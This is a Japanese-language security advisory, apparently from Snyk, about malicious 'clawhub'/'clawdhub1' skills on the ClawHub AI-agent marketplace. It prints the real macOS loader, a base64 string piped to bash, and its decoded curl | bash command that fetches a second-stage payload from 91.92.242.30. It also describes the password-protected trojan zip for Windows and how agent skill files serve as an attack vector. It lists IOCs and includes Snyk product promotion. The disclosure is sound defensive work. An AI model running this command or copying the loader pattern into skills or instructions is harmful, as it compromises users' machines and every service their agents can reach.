In this article
「clawdhub」マルウェアキャンペーンの実態:OpenClawマーケットプレイスでAIエージェントスキルがリバースシェルを仕込む
2月2日(日)、Snykのセキュリティ研究チームは、AIエージェントの機能を公開する人気リポジトリ、ClawHubスキルマーケットプレイス(clawhub.ai)に直接埋め込まれた標的型マルウェアキャンペーンを発見しました。
この悪意あるエントリーは、ユーザーzaycvによってclawhubという名前で公開され、エージェントスキルを管理する公式CLIツールを装っていました。最初のものは2月3日に削除されましたが、Snykの研究者は現在も活動中のclawdhub1という亜種を特定しており、すでに約100件インストールされています。

この進行中のキャンペーンは、Snykが今年初めに発したAIパーソナルアシスタントのセキュリティリスクと、攻撃ベクトルとなる「SKILL.md」ファイルの具体的な危険性に関する緊急警告の正しさを裏付けています。過去48時間以内に「ClawHub CLI」スキルを利用したか、ユーザーzaycvのインストール手順に従った場合は、ホストマシンが侵害されたものとして対処してください。
clawdhub1の感染チェーン
この攻撃では、悪意あるロジックをSKILL.mdファイルの外部に完全に置くことで、ClawHubの(限定的な)静的解析を回避する多段階の配信手法が使われています。
1. ソーシャルエンジニアリング:パフォーマンスを餌にする
攻撃者のzaycvは、専門用語を使って上級ユーザーを狙います。スキルの説明では、スキル公開時の「高度なキャッシュと圧縮」や「パフォーマンスの最適化」を約束しています。こうした訴求は、一般的なツールの遅さに不満を感じている可能性が高い開発者を狙ったものです。そのため、前提条件を疑わずに「最適化」ユーティリティをインストールさせやすくなります。

2. Windowsを狙う手口:パスワード保護による検知回避
Windowsユーザー向けのSKILL.mdは、このキャンペーン専用に作成されたアカウントであるユーザーDdoy233がホストするGitHubリリースへのリンクを掲載しています。
リポジトリ:https://github.com/Ddoy233/openclawcli
手法:アーカイブ(
openclawcli.zip)はパスワード(openclaw)で保護されています。これが重要な理由:zipファイルの暗号化は、マルウェアのシグネチャを探すためにアーカイブの内容を検査する自動セキュリティスキャナー、メールフィルター、ブラウザーの安全性チェックを回避するために使われる、意図的な攻撃手法です。中に含まれる「CLI」にはトロイの木馬化された実行ファイルとDLLがあり、情報窃取マルウェアとして機能する可能性があります。

3. macOSを狙う手口:難読化されたGlot.ioの実行
macOS向けの手順では、コード共有サービス兼ペーストビンであるglot.io上のスニペットにユーザーを誘導します。これにより、悪意あるコードはSKILL.mdにも、直接ダウンロードするファイルにも含まれないという、間接的な仕組みが加わります。
難読化の仕組み:このスニペットは無害な「Installer-Package」というメッセージを表示するように見せかけながら、base64文字列をbashにパイプします。
download.setup-service.comのURLは、ユーザーを安心させるために、ターミナル出力で正規のパッケージソースに見せかけるおとりの文字列です。base64 -D | bashの連鎖が、実際の実行トリガーです。
1echo "Installer-Package: https://download.setup-service.com/pkg/" && echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC81MjhuMjFrdHh1MDhwbWVyKSI=' | base64 -D | bashペイロード:デコードすると、このコマンドは生のIPアドレスからシェルスクリプトを直接取得します。
1/bin/bash -c "$(curl -fsSL http://91.92.242.30/528n21ktxu08pmer)"これにより、レピュテーションの低いIPアドレス91.92.242.30から第2段階のペイロードが実行され、ドメインのブロックリストを回避します。
発見のタイムライン
2026年2月2日:Snykのスタッフリサーチエンジニア、Luca Beurer-Kellnerがマーケットプレイスで元の悪意あるスキル
clawhub(ダウンロード数7,743件)を発見。2026年2月3日:スキル
clawhubがマーケットプレイスから削除される。2026年2月3日(後刻):Snykのインキュベーションエンジニア、Aleksei Kudrinskiiが、攻撃者が名前を変えた亜種
clawdhub1で再び活動を始め、現在も稼働していることを発見。2026年2月4日:Snykが本アドバイザリーを公開。
Snykの見解:AIサプライチェーンを保護する
このインシデントは、現代の「AIスタック」における重大な盲点を浮き彫りにしています。私たちは、コードの依存関係からエージェント機能の依存関係へと移行しつつあります。
従来のAppSecツールは、コードやコンテナをスキャンします。しかし、SKILL.mdファイルに書かれた英語の指示を読み取ることも、AIエージェントによる「ツールの使用」の意図を検証することもできません。
エージェント型ワークフローに潜む「厄介な」リスク:Clawdbotの分析で説明したように、OpenClawのようなAIエージェントは、役立つアシスタントとして機能するために、メールの閲覧、ファイルシステムへのアクセス、シェルコマンドの実行など、広範な権限を与えられることがよくあります。clawdhub1のような悪意あるスキルをインストールすると、そのスキルはこれらの権限を引き継ぎます。マルウェアはマシンを侵害するだけでなく、GitHubリポジトリからクラウドインフラまで、AIエージェントにアクセスを許可したすべてのサービスを侵害する可能性があります。
ここでSnyk Evoが力を発揮します。SnykのEvoプラットフォームとAI-SPM(AIセキュリティポスチャ管理)は、まさにこのような管理されていないやり取りを統制するために設計されています。
管理されていないAIモデルとツール:Evoは、開発者やエージェントが未検証の外部ツール(マーケットプレイスにある出所不明のスキルなど)を企業環境に持ち込んだことを検知します。
サプライチェーンの可視化:Snyk Advisorがnpmパッケージを評価するのと同様に、SnykのAIセキュリティ研究では、エージェントスキルやモデルの重みの信頼性評価にも取り組んでいます。コミュニティでの活動履歴がない「新規ユーザー」(
zaycv)が「重要なシステムツール」を公開するといった異常を検出します。
SKILLSとMCPマルウェアへの対策
Snykは、AIネイティブの脅威から保護するために、次のような方法を提供しています。
mcp-scan(Model Context Protocol Scanner)のようなツールは、防御の次なる進化です。エージェントに与える指示によってシステムが侵害されないようにします。MCP Scanは、プロンプトインジェクションやツールポイズニングを通じて意図的に悪意ある動作をするMCPサーバーを検出し、悪意のある、またはリスクの高いSKILL.mdファイルも検出します。
SnykのAI-BOMのようなツール(簡単に実行できるコマンド:
snykaibom)を使うと、AIモデル、エージェント、MCPサーバー、データセット、プラグインなど、コードベース全体で使用中のAIコンポーネントを把握できます。
修復とIOC
直ちに実施すること:
通信をブロックする:ファイアウォールで
91.92.242.30への外向き通信を直ちにブロックしてください。スキルを監査する:ClawHubアカウントとローカルのエージェント設定を確認し、ユーザー
zaycvがインストールしたclawhubまたはclawdhub1という名前のスキルがないか調べてください。Snykでチェックする:AI開発環境がスキャンされていることを確認してください。
侵害の痕跡(IOC):
ドメイン/IP:91.92.242.30
URL:https://glot.io/snippets/hfd3x9ueu5, https://github.com/Ddoy233/openclawcli
ユーザー名:zaycv(ClawHub)、Ddoy233(GitHub)
パッケージ名:clawhub、clawdhub1
参考資料:
ガイド
Evo by Snykでエージェント型AIの制御を統合
Evo by Snykは、セキュリティおよびエンジニアリングのリーダーに、AIセキュリティを自然言語で統合的にオーケストレーションする手段を提供します。Evoが専門エージェントを連携させ、AIライフサイクル全体をエンドツーエンドで保護する方法をご覧ください。